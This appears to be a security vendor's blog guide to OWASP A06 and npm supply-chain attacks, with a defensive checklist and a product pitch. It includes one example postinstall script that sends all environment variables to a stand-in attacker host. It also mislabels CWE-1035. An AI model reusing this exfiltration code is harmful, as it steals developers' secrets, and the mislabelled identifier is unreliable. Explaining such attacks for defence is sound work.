OWASP A06 Vulnerable Components Guide
OWASP A06:2021 covers vulnerable components and supply chain attacks. Learn how typosquatting, dependency confusion, and outdated npm packages put your app at risk.
Rod
Founder & Developer
The average JavaScript project has over 1,000 dependencies when you count everything transitively. You wrote maybe 50 of them. The other 950+ came from the internet, maintained by strangers, some of whom are no longer active.
OWASP A06:2021 — Vulnerable and Outdated Components covers exactly this. It jumped from A09 in the 2017 list to A06 in 2021 because the problem got worse, not better. Supply chain attacks against npm packages became a documented attack vector. Log4Shell showed that a single library in a transitive dependency could compromise half the internet. And dependency counts per project kept climbing.
This guide explains how these attacks actually work, shows real code examples of the vectors, and gives you a practical checklist to reduce your exposure. No vendor fluff — just the mechanics and the fixes.
What OWASP A06 Actually Covers
OWASP A06 has two related but distinct problems under one category.
The first is outdated dependencies with known CVEs — packages you're using that have publicly documented vulnerabilities. These are the easy case. Someone found the bug, assigned a CVE number, published the fix. Your job is to update before someone uses that bug against you.
The second is supply chain attacks — malicious packages that reach your node_modules through typosquatting, dependency confusion, account takeovers, or sabotage. These are harder because there's no CVE to alert you. The package installs clean, runs on your machine, and exfiltrates data or mines crypto in your CI environment.
Both categories map to CWE-937 (Using Components with Known Vulnerabilities) and CWE-1035 (Unrestricted Upload of File with Dangerous Type) in the OWASP classification.
The part that stings for JavaScript devs specifically: npm's install model runs arbitrary code during package installation by default. That postinstall script in a dependency's package.json? It runs as your user, with your filesystem access, every time you run npm install. No prompt, no sandbox, no permission check.
Attack Vectors: How Supply Chain Compromises Actually Happen
Typosquatting: One Typo, One Backdoor
In 2016, a security researcher published crossenv — a package with a name almost identical to the wildly popular cross-env. The malicious package harvested environment variables (including API keys and database credentials) and sent them to a remote server. It got downloaded thousands of times before npm removed it.
The attack is simple. An attacker finds a popular package, registers a similar-looking name, and waits for developers to mistype it.
# Legitimate package with 50M weekly downloads
npm install cross-env
# Typosquatted package — one character difference
npm install crossenvOther real examples that were caught: babel-cli vs bable-cli, lodash vs loadsh, moment vs momnet. The malicious versions often have basic functionality that mirrors the real package — so they don't fail immediately in your app.
Learn more about how typosquatting packages work in our security encyclopedia.
Dependency Confusion: Attacking Private Package Registries
In 2021, security researcher Alex Birsan published a technique that earned him over $130,000 in bug bounties across Apple, Microsoft, PayPal, Shopify, and dozens of other companies.
The attack exploits how npm resolves package names when a company uses a private registry (like Artifactory or GitHub Packages) alongside the public npm registry.
If your internal package is named @mycompany/auth and hosted only on your private registry, npm should install from there. But if Birsan published a public @mycompany/auth package with a higher version number, npm — depending on your registry configuration — would install the public malicious version instead.
// Your package.json — you're using an internal package
{
"dependencies": {
"@mycompany/auth": "^2.1.0"
}
}# If your registry config isn't airtight, npm might pull the
# public version from npmjs.com instead of your private registry
npm installThe fix is scoping your private packages and configuring your registry to always resolve scoped packages from your private source. See our detailed breakdown of dependency confusion attacks.
Malicious Postinstall Scripts
npm packages can run arbitrary scripts at install time using the scripts.postinstall field in package.json. Legitimate packages use this for compiling native addons. Malicious packages use it to exfiltrate your environment.
{
"name": "totally-legitimate-utility",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}And scripts/setup.js might contain:
// BAD: What a malicious postinstall script looks like
const https = require("https");
const data = JSON.stringify({
env: process.env, // sends ALL your environment variables
cwd: process.cwd(),
hostname: require("os").hostname(),
});
https.request({
hostname: "attacker-server.com",
path: "/collect",
method: "POST",
}, (res) => {}).end(data);This runs the moment you npm install. Your NODE_ENV, DATABASE_URL, STRIPE_SECRET_KEY, ANTHROPIC_API_KEY — all of it sent to a server you've never heard of. No prompt. No warning. Just a clean install in your terminal.
Read more about malicious install scripts and how they bypass developer expectations.
Abandoned Packages and Maintainer Account Takeovers
The event-stream incident in 2018 is the canonical example. A malicious actor convinced the original maintainer of the popular event-stream package to transfer ownership. The new "maintainer" added a dependency called flatmap-stream that was specifically designed to steal Bitcoin from a Copay wallet application.
The package had millions of weekly downloads. The malicious code was live for over a month before anyone noticed.
ua-parser-js in 2021 was similar — a compromised maintainer account was used to push versions that installed cryptominers and password stealers via the install script.
What makes this hard: the package has a real history, real GitHub stars, real npm downloads. There's no obvious red flag until someone analyzes the diff between versions.
Abandoned packages are also worth auditing — a package with no commits in 3 years and no security response process is a risk even if it hasn't been compromised yet.
Real-World Incidents That Should Have Woken Everyone Up
Log4Shell (December 2021)
Log4j is a Java logging library used in essentially everything. A critical remote code execution vulnerability (CVE-2021-44228) was disclosed in December 2021. CVSS score: 10.0.
The reason this matters for the OWASP A06 conversation: most organizations didn't even know they were using Log4j. It was a transitive dependency — buried inside other libraries, inside other libraries. Developers had no direct relationship with it. They'd never chosen to use it.
This is the core problem with outdated dependencies: you can't patch what you don't know you have. CISA's advisory on Log4Shell documented that the vulnerability affected systems from Apache, Cisco, VMware, and hundreds of other vendors — all because of one indirect dependency.
colors.js and faker.js Sabotage (January 2022)
A different category of supply chain failure: intentional sabotage by the original maintainer.
Marak Squires, the author of colors (21M weekly downloads) and faker (2.5M weekly downloads), deliberately broke both packages in January 2022 — outputting garbage to protest unpaid open-source work. While his frustration was understandable, thousands of projects broke in production overnight.
This isn't a malicious third-party attack — it's a maintainer decision. Your lockfile protects you here (pinned versions don't get the breaking update automatically), but only if your deployment process uses the lockfile consistently.
What Vulnerable Dependencies Look Like in Practice
Running npm audit against a real project gives you a report like this:
# Run in your project root
npm auditfound 14 vulnerabilities (3 low, 8 moderate, 2 high, 1 critical)
# npm audit report
nth-check <2.0.1
Severity: high
Inefficient Regular Expression Complexity in nth-check
fix available via `npm audit fix`
node_modules/nth-check
lodash <4.17.21
Severity: critical
Prototype Pollution in lodash
fix available via `npm audit fix --force`
node_modules/lodashThe high and critical findings need immediate attention. The moderate and low ones deserve a severity review — some are theoretical in your specific usage, some aren't.
One thing npm audit doesn't catch: packages that are malicious from the start (typosquatted, dependency-confused, or compromised post-release). For that you need a different layer.
How to Protect Against OWASP A06 Vulnerabilities
1. Always Use a Lockfile
Your package-lock.json (npm) or yarn.lock (Yarn) or pnpm-lock.yaml (pnpm) pins every package to an exact version plus a cryptographic hash. When your CI runs npm ci instead of npm install, it installs precisely what you tested locally.
# BAD: Resolves package names fresh every time — potential for version drift
npm install
# GOOD: Uses lockfile exactly — same versions, verified hashes
npm ciWithout a lockfile, a compromised new version of a transitive dependency can slide into your production build without you noticing. With a lockfile, you have to explicitly update to get new versions. That's the point.
Read more about missing lockfiles and why they're a security issue, not just a DX preference.
2. Run npm audit and Act on the Results
# Check for known vulnerabilities
npm audit
# Auto-fix what can be fixed without breaking changes
npm audit fix
# See what would change before running
npm audit fix --dry-runnpm audit is not a complete supply chain defense. It only catches packages with published CVEs in the npm advisory database. But it's free, fast, and catches the most common category of A06 findings.
3. Automate Dependency Updates with Dependabot or Renovate
Manual auditing doesn't scale. Enable Dependabot in your GitHub repository under Settings > Security > Code security and analysis. It will open pull requests automatically when vulnerabilities are found in your lockfile, and optionally on a schedule for non-security updates.
Renovate is a more configurable alternative with better grouping logic for monorepos.
The key habit: review and merge these PRs promptly. A Dependabot PR that sits open for 6 months defeats the purpose.
4. Review Packages Before Installing Them
Before running npm install some-new-package, spend 60 seconds on these checks:
- Does it have a real GitHub repo? (click the link on the npm page)
- When was the last commit?
- What are the weekly downloads? (typosquatted packages usually have almost none)
- Does the install script look suspicious? (
npm show some-new-package scripts) - Is it the package you actually searched for, spelled exactly right?
# Check install scripts before they run
npm show some-package scripts5. Use --ignore-scripts for Untrusted Packages
If you're evaluating a package you don't fully trust, you can install it without running its install scripts:
# Install without running postinstall, preinstall, install scripts
npm install some-untrusted-package --ignore-scriptsThis prevents malicious postinstall scripts from running. The tradeoff: some legitimate packages need their install scripts to compile native code. Use this flag deliberately, not universally.
6. Pin Versions for Production Dependencies
In your package.json, consider pinning critical dependencies to exact versions rather than using ^ (compatible) ranges:
{
"dependencies": {
// BAD: Will automatically accept any new minor/patch version
"express": "^4.18.2",
// GOOD: Pinned to exact version — updates require an explicit change
"express": "4.18.2"
}
}Pinning trades automatic patch updates for explicit control. For security-critical packages (auth libraries, crypto, database clients), explicit control is usually worth the added maintenance.
Automate the Check with Data Hogo
Running npm audit manually is a good start. But it doesn't catch abandoned packages, suspicious install scripts, missing lockfiles, or outdated dependencies that don't have a CVE yet.
Scan your repo with Data Hogo → to get a full dependency audit in under 60 seconds. The scanner checks your package.json and lockfile for known CVEs, flags dependencies with no recent maintenance, and identifies missing lockfiles that leave your deploys open to version drift.
The free plan covers your first 3 scans with no credit card required.
The Uncomfortable Truth About Your node_modules
You wrote a few hundred lines of code. Your node_modules folder has ~50,000 files from hundreds of authors. You've verified maybe 5% of them.
That's not a criticism — it's how modern development works. The npm ecosystem is genuinely powerful and most packages are fine. But OWASP moved this category from A09 to A06 for a reason: attackers figured out that developers trust their dependency tree far more than it deserves.
The fixes aren't hard. Use a lockfile. Run npm audit. Enable Dependabot. Spend 60 seconds vetting a new package before installing it.
The alternative is finding out what was in your postinstall script the hard way.
Frequently Asked Questions
What is OWASP A06:2021 Vulnerable and Outdated Components?
OWASP A06:2021 covers risks from using software components — libraries, frameworks, npm packages — that contain known vulnerabilities or are no longer maintained. It moved from A09 in 2017 to A06 in 2021 because the attack surface grew significantly with the explosion of open-source dependencies. A single vulnerable transitive dependency can be exploited even if your own code is clean.
How do supply chain attacks work in npm?
Supply chain attacks targeting npm packages use several techniques: typosquatting (publishing packages with names similar to popular ones, like expres instead of express), dependency confusion (uploading a malicious public package with the same name as a private internal package), compromising legitimate package maintainer accounts, and inserting malicious postinstall scripts that run automatically when the package is installed.
What is typosquatting in npm and how do I protect against it?
Typosquatting is when an attacker publishes a malicious npm package with a name that looks like a popular package — cross-env vs crossenv, babel-cli vs bable-cli. The attack depends on developers making a typo at install time. To protect against it: always copy package names from official documentation, check the weekly downloads count before installing a new package (typosquatted packages have very few), and use a lockfile so your CI environment installs exact versions without resolving package names.
Does a lockfile (package-lock.json or yarn.lock) protect against supply chain attacks?
A lockfile significantly reduces your risk but doesn't eliminate it entirely. It pins exact package versions and their hashes, so your CI environment installs precisely what you've tested locally — not whatever the latest version is at install time. However, it doesn't protect you from a malicious package you already have locked in, and it doesn't protect against a legitimate package that gets compromised after you've pinned it. You still need to run npm audit and keep dependencies updated.
How do I check if my npm dependencies have known vulnerabilities?
Run npm audit in your project root. It checks your installed packages against the npm advisory database and shows vulnerabilities with severity levels and CVE IDs. For automated monitoring, enable Dependabot in your GitHub repository settings — it will open pull requests when vulnerabilities are discovered in your lockfile. Data Hogo also scans your package.json and lockfile for known CVEs as part of a full repo security scan.
Related Posts
OWASP A07 Authentication Failures Guide
OWASP A07 authentication failures with real code examples: weak passwords, JWT without expiry, localStorage tokens, no rate limiting, and how to fix each.
OWASP A01 Broken Access Control Guide
Broken access control is the #1 OWASP risk. This guide explains IDOR, missing auth checks, JWT tampering, and how to fix them with real Next.js code examples.
OWASP A02 Cryptographic Failures Guide
OWASP A02:2021 Cryptographic Failures is the #2 web vulnerability. Learn how plaintext passwords, weak hashing, and hardcoded keys expose your users — with real code examples.